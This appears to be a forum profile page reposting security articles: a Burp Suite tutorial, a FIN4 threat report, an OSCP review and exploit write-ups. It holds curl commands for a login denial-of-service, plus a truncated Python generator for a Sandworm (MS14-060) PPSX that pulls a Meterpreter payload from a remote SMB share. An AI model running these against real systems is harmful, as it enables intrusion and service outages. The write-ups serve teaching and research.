Jump to content

Nytro

Administrators
  • Posts

    18736
  • Joined

  • Last visited

  • Days Won

    711

Everything posted by Nytro

  1. Burp Suite Tutorial – Web Application Penetration Testing (Part 2) 2014/11/14 Author: Royce Davis In the last article we introduced some of the useful features that Burpsuite has to offer when performing a Web Application Penetration Test. In part 2 of this series we will explore some additional functionality including: Validating Scanner Results, Exporting Scanner Reports, Parsing XML Results, Saving a Burp Session and Burp Extensions. Lets get right to it! Burp Suite Tutorial – Validating Scanner Results Its always a good idea to thoroughly validate the results of any automated scanning tool. Burpsuite provides everything you need to do this on the “Scanner/Results” tab. Click on a node in the left pane to see the identified vulnerabilities associated with that target. The right-hand lower pane displays the verbose Request/Response information pertaining to the specific vulnerability selected from the right-hand upper pane. The “Advisory” tab contains information about the vulnerability including a high-level detail, description and proposed recommendation. The “Request” & “Response” tabs will display exactly what Burpsuite sent to the target application in order to check for the vulnerability as well as what was returned by the application. Take a look at the example below. Figure #1 – Validating Scanner Results The request tab shows us which page generated the alert. https://www.pentestgeek.com/wp-content/cache/minify/000000/NYtBDoAgDMA-JFsML5oEYShDYSbwez3goUl7qMV0P76OxU4xmUMl9ZBZlhVdpVHEtCFK3UQO8fxQXzE13Enc2EqfK_wNLKxwkTte.js Just by requesting this page in a browser, or viewing the “Response” tab, We are able to validate that the email address allegedly disclosed was in fact present in the response. We can consider this issue to be validated and move on. Figure #2 – Validating Scanner Results #ProTip Make sure to perform this step on each and every vulnerability identified by the scanner. All automated scanning tools produce false-positives due to the nature of the testing being done. Most companies are capable of buying tools and running them on their networks. Pentesters are hired specifically to identify and remove these false positives Burp Suite Tutorial – Exporting Scanner Reports Once you have validated the scanner results you might want to generate some type of a report. There are two report options available from the “Scanner/Results” tab, HTML and XML. To generate a report right-click on a target from the left-hand display pane and select “Report selected issues”. This will present you with the following Dialog box. Figure #3 – Exporting Scanner Reports Click through the Wizard and select which items you want in your report and which format. The HTML report can be opened up in a browser and then exported to a PDF format which can be useful to help communicate findings to your client. The XML report allows you to parse out specific sections of a report for more granular detail. If you generate an XML report, make sure you uncheck the Base64 encoder option to see full HTTP Request/Responses. Burp Suite Tutorial – Parsing XML Results I’ve written a simple Ruby script to parse out data from the XML output generated from an automated Scan. The script utilizes the Nokogiri gem and outputs the results into a column delimitated CSV file which can be imported into Excel to produce a nice spreadsheet. If you have a basic understanding of parsing XML nodes using CSS selectors, you will have no trouble modifying the script to suite your specific needs. Head over to the Git repository and clone the branch. Looking at the source code we can see where the parsing magic takes place. def clean_finding(finding) output = [] output << 'Web Application Findings' output << '' output << finding.css('severity').text output << 'Open' output << finding.css('host').text output << finding.css('path').text output << finding.css('issueDetail').text output << finding.css('name').text output << finding.css('issueBackground').text output << finding.css('remediationBackground').text response = finding.css('response').text if response.include?('Server:') output << response.split('Server: ')[1].split("\n")[0] end output end [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [/TD] [TD=class: crayon-code]def clean_finding(finding) output = [] output << 'Web Application Findings' output << '' output << finding.css('severity').text output << 'Open' output << finding.css('host').text output << finding.css('path').text output << finding.css('issueDetail').text output << finding.css('name').text output << finding.css('issueBackground').text output << finding.css('remediationBackground').text response = finding.css('response').text if response.include?('Server:') output << response.split('Server: ')[1].split("\n")[0] end output end [/TD] [/TR] [/TABLE] You can see that simply calling the .css method and passing (‘[VALUE YOU WANT]‘).text as a paramater will allow you to scoop out whatever specific items you would like from the XML soup. Run the script with no arguments and you’ll see it takes an XML file and spits output to the screen. [ # ] $ ./parse-burp.rb Parse Burpsuite XML output into Tab delimited results Example: ./parse-brup.rb > output.csv [ # ] $ You can catout the results into a file.csv if you like. The CSV file can then be imported into an Excel spreadsheet which looks like this. Figure #4 – Parsing XML Results Burp Suite Tutorial – Saving a Burp session In some cases it might be necessary to pause an assessment and come back later. You also might find yourself wanting to share your Burpsuite session with another consultant. Two eyes are often better then one after all. In these instances the easiest thing to do is to save a local copy of your session. Simply select “Save state” from the Burp menu at the top. This will create a flat file which you or another consultant can import into Burpsuite and see all of the captured traffic and test cases. This is an extremely useful feature. If you have tried to do this in the past and noticed the size of the resulting file to be unnecessarily large (hundreds of MBs). It is possible you forgot to check the “Save in-scope items only” check-box. Figure #5 – Saving a Burp session If you setup your scope following the guidelines in Part 1 you shouldn’t have to worry about a massive sate file. The next page of the Wizard asks you which tools you would like to store the configuration of. I have found that having them all checked or all unchecked does not appear to affect the size of the file much if at all but feel free to play with these options and make up your own mind. Figure #6 – Saving a Burp session To restore a previously saved burp sate simply select “Restore state” from the Burp menu at the top. Select the file from your system, click “Open” and follow the instructions of the Wizard. Depending on the size of the state file it may take a moment to import everything but once finished you can continue your assessment or someone else’s for that mater as if you had never paused in the first place. Its pretty cool! Burp Suite Tutorial – Burp Extensions Burp extensions are after-market additions written by other pentesters that can be easily installed and configured to add enhanced or additional features to Burpsuite. To demonstrate this process we’ll download and install the “Shellshock Burp Plugin” from the Accuvant LABS Github page. Browse to the following URL https://github.com/AccuvantLABS/burp-shellshock and click the “Download here!” link. Figure #7 – Click the Download here! link Next click on the “Extender” tab within Burpsuite and click he “Add” button at the top-left corner. When the dialog box pops up select the Shell Shock .jar file you just downloaded and click Next. Figure #8 – Select the .jar file If everything went well you should see a message stating “The extension loaded successfully” with no errors messages or output. Now the Extensions tab shows our “Shellshock Scanner” extension is loaded. We can see from the Details section that a new Scanner check has been added. Figure #9 – Burp Extension loaded successfuly Burp Suite Tutorial – End Of Part2 I hope this tutorial was useful to you. After reading both articles in this series you should be familiar with many of the critical features offered within the Burpsuite. Please take advantage of the comment section below to provide feedback/questions or check us out on the Pentestgeek Forums. Thanks for reading! Sursa: https://www.pentestgeek.com/2014/11/14/burp-suite-tutorial-web-application-penetration-testing-part-2/
  2. [h=2]FIN4: Stealing Insider Information for an Advantage in Stock Trading?[/h] November 30, 2014 | By Kristen Dennesen, Barry Vengerik, Jonathan Wrolstad, Jordan Berry | Threat Intelligence, Threat Research At FireEye, we investigate cyber threat activity that typically aligns with one of two goals: the pursuit of sensitive information to fulfill a government’s goals, or the theft of data for financial gain. The media echoes these two objectives daily in news stories about Eastern European cybercriminals stealing payment card data from retailers, or China-based threat groups targeting high tech firms’ latest innovations. A reader skimming the headline, “Hackers Steal Data from Pharmaceutical Firms” could be forgiven for assuming that the article tells the story of a government-backed group in pursuit of new drug innovations. However, in a campaign FireEye is uncovering today, this headline tells another story. FireEye tracks a threat group that we call “FIN4,” whose intrusions seem to have a different objective: to obtain an edge in stock trading. FIN4 appears to conduct intrusions that are focused on a single objective: obtaining access to insider information capable of making or breaking the stock prices of public companies. The group specifically targets the emails of C-level executives, legal counsel, regulatory, risk, and compliance personnel, and other individuals who would regularly discuss confidential, market-moving information. FIN4 has targeted over 100 companies since at least mid-2013. All of the targeted organizations are either public companies or advisory firms that provide services to public companies (such as investor relations, legal, and investment banking firms). Over two-thirds of the targeted organizations are healthcare and pharmaceutical companies. FIN4 probably focuses on these types of organizations because their stocks can move dramatically in response to news of clinical trial results, regulatory decisions, or safety and legal issues. We’ve been able to characterize FIN4’s activity via our incident response engagements, FIN4’s attempts to compromise our managed service clients, our product detection data, and further independent research. Our visibility into FIN4’s activities is limited to its network operations; we can only surmise how they may be using and potentially benefitting from the valuable information they are able to obtain. However, one fact remains clear: access to insider information that could significantly impact stock prices for dozens of publicly traded companies surely puts FIN4 at a considerable trading advantage. FireEye is releasing indicators to help organizations detect FIN4 activity. Those indicators can be downloaded here. The complete report can be downloaded. Sursa: https://www.fireeye.com/blog/threat-research/2014/11/.VHyDXpVKxoQ.twitter
  3. CVE-2014-9016 and CVE-2014-9034 Proof of Concept Assuming that time enough has happened since the security update was released by Wordpress and Drupal, we want to share our researches. As you already know, we believe in Responsible Disclosure and that is the reason why we didn't publish this post before. [h=2]Drupal Denial of Service CVE-2014-9016[/h] Generate a pyaload and try with a non-valid user: $ echo -n "name=NO-VALID-USER&pass=" > no_valid_user_payload && printf "%s" {1..1000000} >> no_valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> no_valid_user_payload $ time curl --data @no_valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null & Generate a pyaload and try with a valid user: $ echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload $ time curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &); sleep 0.25; done [h=2]Python Code[/h] https://github.com/c0r3dump3d/wp_drupal_timing_attack [h=2]References[/h] Wordpress Denial of Service Responsible Disclosure - Attacking with long passwords ~ Hacking while you're asleep Drupal Denial of Service Responsible Disclosure - Attacking with long passwords ~ Hacking while you're asleep Timing Attack and the importance of controlling the length of the input – The Case of Drupal CVE-2014-9016. | # /dev/console https://wordpress.org/news/2014/11/wordpress-4-0-1/ https://www.drupal.org/SA-CORE-2014-006 https://www.drupal.org/node/2378367 NVD - Detail http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9016 Sursa: CVE-2014-9016 and CVE-2014-9034 Proof of Concept ~ Hacking while you're asleep
  4. [h=1]roputils[/h] A Return-oriented Programming toolkit [h=2]Usage[/h] examples/ropasaurusrex.py is a write-up of ropasaurusrex in PlaidCTF 2013. [h=2]Overview[/h] Currently roputils.py has 7 classes: ELF, ROP, ROPBlob, Shellcode, FormatStr, Proc, Pattern. ELF: information about ELF object retrieved by readelf ROP: subclass of ELF, with additional methods for creating ROP sequence ROPBlob: subclass of ROP, for creating ROP sequence from leaked memory Shellcode: x86 and x64 shellcode builder FormatStr: create format string for exploitation Proc: gateway interface of subprocess and socket Pattern: create Metasploit pattern and calculate its offset roputils.py also can be used as CLI tool, has 7 subcommands: checksec, create, offset, gadget, scan, asm, objdump. checksec: a clone of checksec.sh create: call Pattern.create() offset: call Pattern.offset() gadget: availability check for tiny gadgets scan: search the binary chunk and disassemble from there asm: x86 and x64 assembler/disassembler objdump: disassemble with IDA-like annotations For more details, just read the codes. Sursa: https://github.com/inaz2/roputils
  5. Offensive Security’s PWB and OSCP — My Experience Written by:Mike Czumak Written on:October 9, 2013 Comments Add One147 Overview Recently I took the Offensive Security Penetration Testing with Backtrack (PWB) course, passed the exam, and achieved the OSCP certification. I learned a ton and earned my most rewarding cert yet. There are several great reviews of the course but I figured I’d provide my perspective. Motivations In my current job I’m lucky enough to touch on all aspects of information security from policy and process development to application security testing. The latter (which is where I spend the majority of my time) requires that I keep my technical skills sharp. I’m a big believer in training that takes a hands-on approach. I’ve attended SANS training before but I had recently heard many good things about Offensive Security. The pricing of the courses made it an easy sell and the 90+ days of available lab time (you can extend it if desired) meant it would not be another cram-session course. After reading several online reviews I decided this would be the next professional development course for me. Course Registration You can register for 30, 60, or 90 days of lab time — I chose 90. I registered in mid-June of this year and the timing was less than ideal as my wife was approaching her third trimester of pregnancy — meaning my anticipated exam time would be about two weeks before the baby was due. Definitely not the best for my stress levels but I knew that if I didn’t squeeze it in now, I might not have a chance to get it done for a while. Registration requires the use of a non-free email address (no gmail, yahoo, etc). Once you’ve applied for registration, you’ll receive an email with some basic instructions and a link to continue the registration process. If you proceed, you’ll receive a lab connectivity guide and software to test the VPN connectivity. They ask you do this before you submit any payment to ensure you will have no problems accessing the lab environment. Once you’ve successfully tested your connection you can submit your payment. On the first day of your scheduled course, you’ll receive an email with some more instructions as well as the course materials (pdf course guide and videos). You can visit the FAQ page which contains additional information about the registration process here: http://www.offensive-security.com/faq/ Course Prerequisites The prerequisites for PWB as cited by Offsec are “a solid understanding of TCP/IP, networking and reasonable Linux skills”. With that knowledge you should have no problem getting through the course but I do have some additional recommendations for prospective students to ensure you get the most out of your course time: You should be comfortable with scripting. I use scripting regularly in my day-to-day work and it proved very valuable during the course. You’ll find yourself repeating enumeration steps over and over and automating tasks via scripting saves so much time. What language you choose is pretty much up to you but the majority of exploits you’ll run across will probably be written in either Python or Perl. The course does cover bash scripting but it can’t hurt to familiarize yourself with it ahead of time if it’s not one of your strong suits. You should be comfortable with Linux and Windows command line syntax. This wasn’t an issue for me, but if necessary, take some time to ensure you can navigate the CL in both OS’s. There’s a lot of material covered in the PWB course so you don’t want to be struggling with the basics at the same time. You should be familiar with Assembly and a debugger Since buffer overflows are just one of the many topics you’ll cover in the course this might be the least important of the recommendations but I think if you have some knowledge of Assembly and using a debugger you’ll be ahead of the game. If you want to take a free crash course on Assembly check out http://www.securitytube.net. I recommend the Assembly Language Megaprimer for Linux, the Windows Assembly Language Megaprimer, and the Buffer Overflow Exploitation Megaprimer for Linux. If you watch and comprehend these video series, you should have no problem tackling the basic buffer overflow exploits presented in the PWB course. Get your “attacking” machine up and running. The course recommends the last version of Backtrack but I used the newest version of Kali with no problems. The directory structure is organized a bit differently so you’ll have to adapt accordingly when following along with the video lessons but it’s no big deal. I personally prefer virtualization so I used a Macbook Pro running a Kali VM on VirtualBox. I would recommend updating the VM before you start the course and once you have everything working, don’t touch it again until after you’ve completed the exam. You don’t want a failed software update or misconfiguration to derail your progress. Devise an organized note-taking and backup approach. Clear, thorough, and organized notes are a key to success. You’re going to cover a lot of material in a relatively short amount of time and when it comes time for the exam, you’ll be glad you kept yourself organized. I used KeepNote to organize all of my notes. It’s cross-platform (Windows, Mac, Linux), comes pre-installed on Kali and is very flexible. As I went through the course, I took notes and organized them accordingly. When it came time to tackle the lab systems, I used a similar approach, tracking the enumeration and exploit activities for each machine, in detail. This proved valuable when it came time to write the report. To ensure my notes were constantly backed up, I synced my KeepNote files with Dropbox (via a auto-sync folder on my host OS). This is also where I kept my PWB lab/exam report and backup copies of my screenshots. This way, I could access them from any machine and ensure I always had the most current copies. I also took regular snapshots of my Kali VM. The Course I would say there are really three components to the PWB course — the “scripted” course, the lab environment, and the exam. The course materials are fantastic – a 300+ page PDF Lab Guide with hours of accompanying videos. The idea is go to chapter by chapter watching the videos, reading the course guide and performing the related exercises. You’ll cover everything from service enumeration to buffer overflows, to password and Web Application attacks. You’ll learn some pretty cool file transfer, port redirection, and tunneling methods. You’ll be able to try your hand at almost all of the attacks in the lab with the exception of ARP spoofing for obvious reasons. If you want to see all of the topics covered in the course, check out the syllabus here. You’ll also be given access to a Windows VM on which you can compile and test exploits before attempting them on the lab targets. In addition, you’re provided access to an online forum as well as IRC chat where you can usually find an Offsec admin online. I’ve read some course reviews by past students that used the forum/chat quite a bit and others not at all. I personally only used IRC once and that was when one of the machines was misconfigured and had to be fixed by an admin. Even though I didn’t use them a lot, I thought they were great resources to have available. Just don’t expect to get any answers or freebies. From what I’ve read you might get a hint or more likely you might get the Offsec motto: “Try harder!”. Besides, it’s much more rewarding to figure out a really tough exploit on your own and it’s the best way to learn. I’m glad I registered for 90 days of lab time. As I went through each chapter, I found myself researching a lot of related topics and taking the time to test my own ideas. It was nice not having to worry about running out of time. There were some topics, such as Web Application attacks, that I was more comfortable with, so I spent considerably less time on these chapters. This afforded me even more time to research areas that I haven’t had as much exposure to, such as port redirection and tunneling. That’s the beauty of this course – it doesn’t spoon feed you everything or force you to spend equal amounts of time on each topic. It presents the basics and encourages you to learn about each topic on your own. In many respects what you get out of the course is relative to how much effort you put in. In all, I spend about 30 days on the scripted course material. A word about course documentation… You will be required to submit a final report at the completion of the course (following your exam). This lab report will ultimately contain your completed course exercises, your lab work and your exam results. I can’t stress enough the importance of documenting your progress as you go. Offsec provides you with a report template but don’t put it off until the last minute! I’ve read some PWB course reviews from students that have had reports in excess of 500 pages – mine was about 260. If you don’t happen to perform penetration testing professionally, you’ll realize that Offsec is trying to impress upon you the importance of thorough and clear documentation. Just remember that in addition to serving as proof of course completion, the assessment report should be able to walk the reader through the exploit and replicate it. Take notes, take screenshots and stay organized! This is especially true for the lab and the exam. The Lab Environment You are given access to about 50 disparate systems (varying OS’s, service packs/kernels, 3rd party software, etc), each with its own remote and local vulnerabilities waiting to be discovered. These systems span multiple networks, several of which are only accessible via exploitation and the various port redirection/tunneling techniques covered in the course. You should make an effort to access all networks, including Admin, and exploit as many systems as possible. The course material introduces you to many of the enumeration and exploit methods you’ll need to exploit these systems and the lab is your chance to put that knowledge into practice (and continue to learn much more!). Some systems you might exploit relatively easily while others (with names like Pain and Sufference) will put you to the test. My advice is to avoid Metasploit as much as possible. If you exploit a system with Metasploit, see if you can find the same exploit on exploit-db.com and try again. You’ll learn so much more and it will help you when it comes time for the exam. Familiarize yourself with Exploit Database and SecurityFocus as they’ll be invaluable resources for finding relevant exploits. I recommend reverting (rebooting) each lab system before you try to exploit it. Remember that you’re in a lab environment with other students making changes to the same systems. There were a couple of instances when I forgot to revert a system and thought I had discovered an exploit only to find out it was put there by someone else. There will be times when you’re working on a system and someone else reverts it. While it is frustrating, it’s a fairly rare occurrence because there are so many systems across multiple lab networks and you’re limited in the number of available reverts per day (so use them sparingly!). Another piece of advice is to enumerate, enumerate and then enumerate some more! This goes for both pre- and post-exploit. Once you’ve got root on a system, don’t just move to the next one. Remember, the lab is intended to mimic an organization’s network environment and you may find files or information on one system that will help you exploit others. I’ve said it already, but make sure you keep good notes for each system you exploit — document open ports/services, networking data, OS/service packs, detail your exploits step-by-step and record any goodies you find (password hashes, etc). Be sure to take screenshots as you go. I kept all of this information organized within KeepNote and then transferred it to the formatted lab report periodically. I recommend updating your lab report after every couple of systems you exploit so you don’t end up with a massive reporting task at the end. Different aspects of the lab will be challenging depending on your knowledge and experience. For me, many of the web-based vulnerabilities came relatively easy but some of the Linux privilege escalation exploits were challenging (and that much more fun!). I took the time to script the Linux privilege escalation enumeration step and learned a lot in the process (a bit more on that later). During the lab time, I probably invested about 4-5 hours a day during the week and 6 hours a day on the weekends. In addition to a full time job and a wife in the last trimester of pregnancy I can tell you I had a lot on my plate. I’ll also say that it was well worth it. You can certainly get by with less time but again, I took the opportunity to learn everything I could about each topic and delve into other related topics along the way. By about day 75 I had gained access to all networks (including Admin) and got root/SYSTEM on 42 systems (including most of the tougher ones such as Pain, Ghost, and Niky) with limited shell access to several more. I still had a couple of weeks remaining in the lab but I decided to take that time to prepare for the exam. Exam Preparation Exam prep really starts from day one of the course but I took the last two weeks of my lab time to pull everything together and thoroughly test my scripts and exploits. Here’s some recommendations: Script your enumeration You’ll likely develop several custom scripts and use a variety of tools when enumerating in the lab. I chose to tie all of these together into one comprehensive script that could be launched against one or many targets. Here a basic overview of what my script did: TCP/UDP nmap scans to identify open ports/services for additional enumeration (see below) DNS enumeration (via dig) HTTP/S enumeration (via additional nmap scans and web file/directory brute forcing) MS-SQL enumeration (via nmap) SSH enumeration (account guessing via Hydra) SNMP enumeration (via nmap and onesixtyone) SMTP enumeration (via nmap and custom account guessing scripts) SMB enumeration (via samrdump) FTP enumeration (via nmap and hydra) Of course you’re only limited by your imagination and scripting skills so I’m sure there are plenty of additional enumeration steps that you might think of automating. For me, the key was identifying the minimum tasks I wanted to perform while considering time and exam limitations (you won’t be able to use automated vulnerability scanners such as Nexpose, Nessus, etc). As a result I made sure to craft the script to only run the applicable enumeration scripts (based on running services) and omitted automated vulnerability tools. Having a single script that orchestrates and formats the output for all of these various scans saved me a ton time. When it came time for my exam this proved especially useful because the exam guide gave specific instructions for one of the target systems and while I was working on that system I launched my enumeration script against the rest of the target IPs. By the time I had gotten root on my first exam system, enumeration had completed for the rest. Per request, I’m providing my enumeration scripts below. Please note that these scripts come as-is with no promise of accuracy and no intent to update. Recon Scan recon_scan.zip Version: 1.0 8.9 KiB 2564 Downloads Details Script your privilege escalation checks Linux privilege escalation can be a complicated task as there are so many possible vectors. Running commands one-by-one is tedious and time-consuming, especially when you have to repeat it across many systems. Again, this was another prime opportunity to leverage the power of automation. Here’s an overview of what my Linux privilege escalation script identified: Basic system info (OS/Kernel/System name, etc) Networking Info (ifconfig, route, netstat, etc) Miscellaneous filesystem info (mount, fstab, cron jobs, etc) User info (current user, all users, super users, command history, etc) File and Directory permissions (world-writeable files/dirs, suid files, root home directory) Files containing plaintext passwords Interesting files, processes and applications (all processes and packages, all processes run by root and the associated packages, sudo version, apache config file, etc) All installed languages and tools (gcc, perl, python, nmap, netcat, wget, ftp, etc) All relevant privilege escalation exploits (using a comprehensive dictionary of exploits with applicable kernel versions, software packages/processes, etc) I wrote it in python and uploaded it to each Linux system I compromised to automate all of my enumeration actions and if necessary, privilege escalation exploit discovery. Per request, I’ve included a copy of the script for download below. Note that this script come as-is with no promise of accuracy and no intent to update. Linuxprivchecker linuxprivchecker.py Version: 1.0 24.7 KiB 4598 Downloads Details There are several other Linux and Windows privilege escalation scripts freely available and I did try a few, but writing my own allowed me to easily customize the checks I wanted to perform and taught me a great deal more. If you want to get some ideas for additional privilege escalation check out these resources: Basic Linux Privilege Escalation (g0tmi1k) Windows Privilege Escalation – a cheatsheet (Tim Arneaud) Linux/Unix privileges from a blackhats perspective Automated Unix Privilege Escalation Check (pentestmonkey) Automated Windows Privilege Escalation Check (pentestmonkey) Organize and pre-compile your exploits I kept all of my exploits organized in a customized file structure on my Kali machine but taking the extra steps of pre-compiling and testing the Windows-based exploits really saved me time. I made it a point to modify, compile, and test every remote and local Windows non-Metasploit exploit I could find. I organized my compiled exploits and made a very basic chart with the exploit name, MSXX-XXXX number, Exploit-db number, and applicable Windows OS versions. During the exam if I came across a situation that required a remote or local Windows exploit, I could simply reference my chart and test the pre-compiled exploit. Per request, I’ve uploaded an unformatted csv example below. Please note these only represent the exploits that I was able to compile and confirm. I make no guarantees regarding its accuracy or completeness. MS Privesc And Exploits Table MS_privesc_and_exploits_table.csv 1.8 KiB 2010 Downloads Details The Exam I registered for the exam about two weeks before my lab time ended. At your allotted exam start time (I chose 10 am on a Friday) you’ll receive the VPN connectivity pack and exam guide that provides instructions, identifies your target machines, and outlines any restrictions. As many other PWB review sites have stated, there are limitations on the use of Metasploit as well as automated vulnerability scanners such as Nexpose or Nessus so once again, don’t depend too heavily on these during your lab time! Don’t worry, you’ll get very specific instructions on what is and is not allowed when you receive your exam guide. You are allotted 24 hours for the exam, with an additional 24 hours to complete and submit your lab/exam report. Each of the target machines is assigned a point value and you need a minimum number of points to pass the exam. I’m not sure if these ever vary, but in my case I needed 70 out of 100 points to pass. In all, it took me 8 hours (with breaks) to accumulate enough points to pass the exam. I still had one more system that I had not exploited but I chose instead to finish and submit my report (which took about another 2 hours). Though I was tempted to use the remaining 16 hours to get that last system, given that my wife was 9+ months pregnant, I wanted to avoid any scenario that involved me not finishing and submitting my report before she went into labor! With the report submitted, I slept soundly that night and received confirmation of its receipt the following morning. I received notification that I passed the exam and achieved the OSCP certification that Tuesday. As far as recommendations for the exam, remember to get plenty of rest the night before and take frequent breaks. I took one after every system I completed with a longer dinner break once I had accumulated enough points and before I completed my report. Try and focus on one system at a time but don’t get bogged down. If you get really stuck, move on to another system. Again, organizing my notes/scripts, automating the enumeration and pre-compiling the Windows exploits allowed me to really focus on relevant exploits without wasting too much time. Conclusion This was the most fun and challenging course I’ve ever taken. It’s also the most satisfying because although the course material is excellent, much of what you accomplish is due to your own hard work and commitment to Try Harder! I learned a lot and I can’t recommend it enough for anyone that wants to wants to get access to a quality lab environment and hone their pen-testing skills. Since exploit development is one of my areas of interest, I definitely plan on taking the Cracking the Perimeter course as well as the Advanced Web Attacks course (once it’s offered online). Follow @securitySift Sursa: Offensive Security's PWB and OSCP - My Experience - Security SiftSecurity Sift
  6. Windows OLE RCE Exploit MS14-060 (CVE-2014-4114) – Sandworm Written by:Mike Czumak Written on:October 22, 2014 This recent exploit (dubbed “Sandworm”) took advantage of a vulnerability in which a specially crafted OLE object could allow remote code execution. In the case of the live sample exploit PPSX file I examined, it automatically downloaded the payload from a remote SMB share. I won’t rehash much of the details that others have covered but if you want to read more, here are some resources: Microsoft Security Bulletin: https://technet.microsoft.com/en-us/library/security/ms14-060.aspx Original Discovery by iSightPartners: http://www.isightpartners.com/2014/10/cve-2014-4114/Other Good write-up on D.UIJN.NL: d.uijn.nl | that's me! I downloaded a live exploit example from the following: Again, others have explained how it works in detail, but I’ll cover it briefly here. First, the PPSX file contains two binary OLE object binary files (oleObject1.bin and oleObject2.bin) that (thanks to the vulnerability) are able to define content to retrieve from a remote share. Each is responsible for downloading one of the following two files: A malicious executable, posing as a GIF (slide1.gif). An INF file (slides.inf) that, when retrieved and executed, will rename the retrieved GIF to EXE. The INF file would look something like this: [TABLE=class: crayon-table] [TR=class: crayon-row] [TD=class: crayon-nums] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [/TD] [TD=class: crayon-code][Version] Signature = "$CHICAGO$" Class=61883 ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17} Provider=%Microsoft% DriverVer=06/21/2006,6.1.7600.16385 [DestinationDirs] DefaultDestDir = 1 [DefaultInstall] RenFiles = RxRename AddReg = RxStart [RxRename] slide1.exe, slide1.gif [RxStart] HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,%1%\slide1.exe [/TD] [/TR] [/TABLE] After examining the PPSX file, I generated a python script to re-create the exploit. The script creates the INF file along with a blank PPSX file, that when launched, will automatically call back to an SMB share hosted on a remote IP (as defined by the user) and retrieve the INF and GIF (EXE) files to trigger the exploit. It also provides the option to create a meterpreter reverse TCP executable to use as the payload (or you can use a payload of your choosing). The created blank PPSX file can be modified to add content if you choose. The script utilizes python-pptx to create the blank PPTX file that it then modifies with the exploit and converts to a PPSX file. You can obtain python-pptx from here: Installing — python-pptx 0.5.5 documentation. There is also a Metasploit Module, though I haven’t tried it yet. Beyond the obvious patching, mitigating controls include host-based AV to detect both the crafted PPSX and the downloaded executable (as always, hit or miss), email AV (in the case of a phishing attempt via attachment), and network level protections (IPS and in this particular example, restricting outbound SMB traffic). A short video and the POC code follow: #!/usr/bin/pythonimport sys, os import zipfile import argparse import subprocess from shutil import copyfile from pptx import Presentation ################################################# ############### Args/Usage ############### ################################################# def get_args(): parser = argparse.ArgumentParser( prog="ms14_060.py", formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), epilog= '''This script will build a blank PowerPoint show (ppsx) file to exploit the OLE Remote Code Execution vulnerability identified as MS14-060 (CVE-2014-4114) Simply pass filename of resulting PPSX and IP Address of remote machine hosting the share. You can add content to the PPSX file after it has been created. The script will also create the INF file and an optional Meterpreter reverse_tcp executable with the -m switch. Alternatively, you can host your own exectuble payload. Host the INF and GIF (EXE) in an SMB share called "share". Note: Requires python-pptx''') parser.add_argument("filename", help="Name of resulting PPSX exploit file") parser.add_argument("ip", help="IP Address of Remote machine hosting the share") parser.add_argument("-m", "--msf", help="Set if you want to create Meterpreter gif executable. Pass port (uses ip arg)") args = parser.parse_args() return args # write file def write_file(filename, contents): f = open(filename, "w") f.write(contents) f.close() # build bin def build_bin(embed, ip, share, file): bin = "\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1" # ole header bin = bin + "\x00" * 16 bin = bin + "\x3E\x00\x03\x00\xFE\xFF\x09\x00" bin = bin + "\x06\x00\x00\x00\x00\x00\x00\x00" bin = bin + "\x00\x00\x00\x00\x01\x00\x00\x00" bin = bin + "\x01\x00\x00\x00\x00\x00\x00\x00" bin = bin + "\x00\x10\x00\x00\x02\x00\x00\x00" bin = bin + "\x01\x00\x00\x00\xFE\xFF\xFF\xFF" bin = bin + "\x00\x00\x00\x00\x00\x00\x00\x00" bin = bin + "\xFF" * 432 bin = bin + "\xFD\xFF\xFF\xFF\xFE\xFF\xFF\xFF" bin = bin + "\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF" bin = bin + "\xFF" * 496 bin = bin + "\x52\x00\x6F\x00\x6F\x00\x74\x00" bin = bin + "\x20\x00\x45\x00\x6E\x00\x74\x00" bin = bin + "\x72\x00\x79\x00\x00\x00\x00\x00" bin = bin + "\x00" * 40 bin = bin + "\x16\x00\x05\x00\xFF\xFF\xFF\xFF" bin = bin + "\xFF\xFF\xFF\xFF\x01\x00\x00\x00" bin = bin + "\x02\x26\x02\x00\x00\x00\x00\x00" bin = bin + "\xC0\x00\x00\x00\x00\x00\x00\x46" bin = bin + "\x00" * 12 bin = bin + "\xF0\x75\xFD\x41\x63\xB2\xCF\x01" bin = bin + "\x03\x00\x00\x00\x40\x00\x00\x00" bin = bin + "\x00\x00\x00\x00\x01\x00\x4F\x00" bin = bin + "\x4C\x00\x45\x00\x31\x00\x30\x00" bin = bin + "\x4E\x00\x61\x00\x74\x00\x69\x00" bin = bin + "\x76\x00\x65\x00\x00\x00\x00\x00" bin = bin + "\x00" * 36 bin = bin + "\x1A\x00\x02\x01" bin = bin + "\xFF" * 12 bin = bin + "\x00" * 40 bin = bin + "\x37" bin = bin + "\x00" * 75 bin = bin + "\xFF" * 12 bin = bin + "\x00" * 116 bin = bin + "\xFF" * 12 bin = bin + "\x00" * 48 bin = bin + "\xFE" bin = bin + "\xFF" * 511 bin = bin + "\x33\x00\x00\x00" + embed + "\x00" # 3 EmbeddedStgX.txt bin = bin + "\x5C\x5C" + ip + "\x5C" + share + "\x5C" + file # \\ip\share\file bin = bin + "\x00" * 460 return bin def build_vml(): xml = '<xml xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:p="urn:schemas-microsoft-com:office:powerpoint" xmlns:oa="urn:schemas-microsoft-com:office:activation">' xml = xml + '<o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">' xml = xml + '<v:stroke joinstyle="miter"/><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"/><v:f eqn="sum @0 1 0"/><v:f eqn="sum 0 0 @1"/><v:f eqn="prod @2 1 